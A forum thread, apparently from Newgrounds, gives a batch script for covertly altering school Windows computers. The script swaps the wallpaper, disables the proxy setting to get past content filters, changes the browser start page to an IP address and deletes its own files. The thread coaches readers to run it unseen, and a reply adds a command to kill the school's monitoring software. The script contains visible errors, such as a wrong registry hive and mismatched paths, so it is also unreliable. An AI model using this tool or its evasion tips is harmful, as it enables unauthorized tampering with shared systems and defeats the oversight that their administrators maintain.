How To Ng-iffy Your School Computer

[Protocol2319]

In this thread I will be explaining how to NG-iffy any Windows computer (version NT/2000 or higher). Since most schools use Windows XP Pro (without the service packs), this should work perfectly.

/// Creation \\\

First, create a folder entitled "Game" (the folder can be created anywhere).
Next, find a good Newgrounds picture. The NG tank is a good candidate for this.
Then, save the picture to your computer and convert it to BITMAP (*.bmp).
Next, rename your new BITMAP file to "statmenu.d22", and place it in your "Game" folder.
Next, create a new text document in your "Game" folder.
Paste the following code into your new text document:

@echo off
RENAME "%userprofile%\My Documents\Game\statmenu.d22" "cool effect.bmp"
COPY "%userprofile%\My Documents\Game\cool effect.bmp" "%userprofile%\Local Settings\Application Data\Microsoft"
DEL "%userprofile%\Local Settings\Application Data\Microsoft\Wallpaper1.bmp"
RENAME "%userprofile%\Local Settings\Application Data\Microsoft\cool effect.bmp" "Wallpaper1.bmp"
RENAME "%userprofile%\Desktop\Game\statmenu.d22" "cool effect.bmp"
COPY "%userprofile%\Desktop\Game\cool effect.bmp" "%userprofile%\Local Settings\Application Data\Microsoft"
DEL "%userprofile%\Local Settings\Application Data\Microsoft\Wallpaper1.bmp"
RENAME "%userprofile%\Local Settings\Application Data\Microsoft\cool effect.bmp" "Wallpaper1.bmp"
RENAME "C:\My Downloads\Game\statmenu.d22" "cool effect.bmp"
COPY "%C:\My Downloads\Game\cool effect.bmp" "%userprofile%\Local Settings\Application Data\Microsoft"
DEL "%userprofile%\Local Settings\Application Data\Microsoft\Wallpaper1.bmp"
RENAME "%userprofile%\Local Settings\Application Data\Microsoft\cool effect.bmp" "Wallpaper1.bmp"
REG ADD "HKCC\Software\Microsoft\windows\CurrentVe
rsion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://38.119.130.61/" /f
DEL "%userprofile%\My Documents\Game"
DEL "%userprofile%\Desktop\Game"
DEL "C:\My Downloads\Game"

Exit your new text document and save the changes.
Rename the new text document "NG.bat".

You are now ready to load your "Game" folder (with your two files in it) onto a CD or floppy disk.

/// Installation \\\

When you get to school, pop your CD or floppy disk into the computer when your teacher isn't looking.
The next step is very important: Copy your "Game" folder from your CD/diskette to either:
1. The desktop
2. The My Documents folder
3. The C:\My Downloads folder
If you export it anywhere else, then the program will not work correctly.
Once you've got it onto the hard drive, run the "NG.bat" file.
A black box should pop up on the screen for a tenth of a second and then your "Game" folder and everything in it should disappear.
If no "Access Denied" or "You do not have authorization to execute batch files." message appears, then you are successfull.
Now all you have to do is pop the CD/diskette out of the computer and continue your day as you normally would. The changes will not take effect until the computer is restarted.

What does this do?
When you execute the "NG.bat" file, a few things happen.
First, the "statmenu.d22" (your NG tank) gets renamed to "cool effect.bmp".
Then, it gets copied to a Windows folder.
Then the file "Wallpaper1.bmp" (your current desktop wallpaper) gets deleted.
Then the file "cool effect.bmp" (your NG tank) gets renamed to "Windows1.bmp".
Then the registry value "ProxyEnable" is changed from whatever it was originally to "0" (this kills most stupid school filters)
Then the registry value "Start Page" is changed from it's default value (probably your school webpage) to the IP address of Newgrounds (http://38.119.130.61/)
So, your current desktop wallpaper is changed into the Newgrounds tank and your internet explorer home page is changed to the Newgrounds home page in under a second.

F.A.Q.
Will I get caught? You shouldn't be caught. The files delete themselves after installation, and the changes won't take effect until the computer reboots.
Will this cause damage to the computer? This program should not cause damage to the computer. This is not a virus/trojan or anything like that. This simply tweaks the computer to do the things mentioned above.
Who wrote this code? I did.

Good luck spreading the joy of NG to your classmates and teachers.

Aaaaah, batch files haha.

No you wont, you'll just explain how to do It. WHAT DOES THIS STUFF DO?
Send a screen shot.

kthxbibi.

I would like an SS also.

[Altered-Beast]

Haha, win.

[gumOnShoe]

Actually, it probably will get you caught as most schools monitor everything students do.

[TheMaster]

Ah .bat files. I remember a few weeks ago when they weren't blocked. We're stuck using VBS files for turning off filters and the like.

[extremegamer2491]

Sounds awsome....only problem is that our school have Macs, or will it work for them too...?
btw...did anyone try this on their own computer? Does it work, and saftly too??

[Jake]

Oh my, Goldencat's back!

Yes guys, Dizzy_D is in fact the one Goldencat!

[Protocol2319]

IMPORTANT

Newgrounds added a line break into my code that is not supposed to be there and will screw up the code.
If you're copying and pasting the code, make sure to delete the line break on the "REG ADD" line between "CurrentVe" and "rsion".

[ArabFreak]

Too bad it won't work. If the teacher sees it (even after the period is over), he'll call you because he knows where you sat that day, and give you detention or some shit. This happened to me once when I tried changing the boring XP wallpaper to a better one.

[FeargusMcDuff]

Well, you or me screwed up...

[mightypotato]

Oh, you wacky high school kids and your proxy servers. I can go on NG from the labs at school or from the computer in my office on campus. There are no blocks on anything here.

University = awesomeness

[Dash-Underscore-Dash]

That's needlessly complicated.

[FeargusMcDuff]

I think i got the IE change to work, but I'm just wondering how to delete the line break? I don't know what to do. Can you re-paste the correct text?

No, it should say that it can't find some files. Unless you put a "Game" folder in all three of the places that you could've put it in, then you should expect to see that. It looks to me like it worked.

To arab_freak: You could do this to a random computer. I built it for speed. You could rapidly load your CD/diskette and turn an entire computer lab into NG in a few minutes.

To people wanting a screenshot:

[Monodi]

Or saving 3465MB of hentai and a Foamy wallpaper.

God damn animals, each of you!

[GreenCard]

Batch files are great.

[cr-krinkles]

Nifty, but I hate school and I'm glad I'm out.

My school monitors what account does what, so I'll do it on my teachers account they never log off.

Get the name of the monitoring program (it should be listed under the Task Manager when you CTRL ALT DEL) and add this code to the beginning of the NG.bat file:

tskill PROGRAM

And then start it up again after you're done by going to the Task manager > File > New Task > PROGRAM

Yes, but you see, most schools assign seats to each student. That way they don't have to keep checking every single computer for every assignment a student made. When a student finishes an assignment, they simply save it in their folder and leave.

And I've prepared myself to be able to do it next year.

Yay. Freshman fun.

[FeargusMcDuff]

I school blocked task manager, do you know how to code your way around that? Even If I use by very limited coding knowlage.

Command.com
(Save as)Batch.bat

It opens, then instantly closes :(

OOOPS!!

I forgot to test my last bit of code. With the original code, an annoying "Are you sure you want to delete? Y/N? box appears. Here's the new code sans the annoying box:

@echo off
RENAME "%userprofile%\My Documents\Game\statmenu.d22" "cool effect.bmp"
COPY "%userprofile%\My Documents\Game\cool effect.bmp" "%userprofile%\Local Settings\Application Data\Microsoft"
DEL "%userprofile%\Local Settings\Application Data\Microsoft\Wallpaper1.bmp"
RENAME "%userprofile%\Local Settings\Application Data\Microsoft\cool effect.bmp" "Wallpaper1.bmp"
RENAME "%userprofile%\Desktop\Game\statmenu.d22" "cool effect.bmp"
COPY "%userprofile%\Desktop\Game\cool effect.bmp" "%userprofile%\Local Settings\Application Data\Microsoft"
DEL "%userprofile%\Local Settings\Application Data\Microsoft\Wallpaper1.bmp"
RENAME "%userprofile%\Local Settings\Application Data\Microsoft\cool effect.bmp" "Wallpaper1.bmp"
RENAME "C:\My Downloads\Game\statmenu.d22" "cool effect.bmp"
COPY "%C:\My Downloads\Game\cool effect.bmp" "%userprofile%\Local Settings\Application Data\Microsoft"
DEL "%userprofile%\Local Settings\Application Data\Microsoft\Wallpaper1.bmp"
RENAME "%userprofile%\Local Settings\Application Data\Microsoft\cool effect.bmp" "Wallpaper1.bmp"
REG ADD "HKCC\Software\Microsoft\windows\CurrentVe
rsion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://38.119.130.61/" /f
DEL /Q "%userprofile%\My Documents\Game"
DEL /Q "%userprofile%\Desktop\Game"
DEL /Q "C:\My Downloads\Game"

It would if it would be ''4-chan-ify your School Computer'', but this is newgrounds. No yiff allowed.
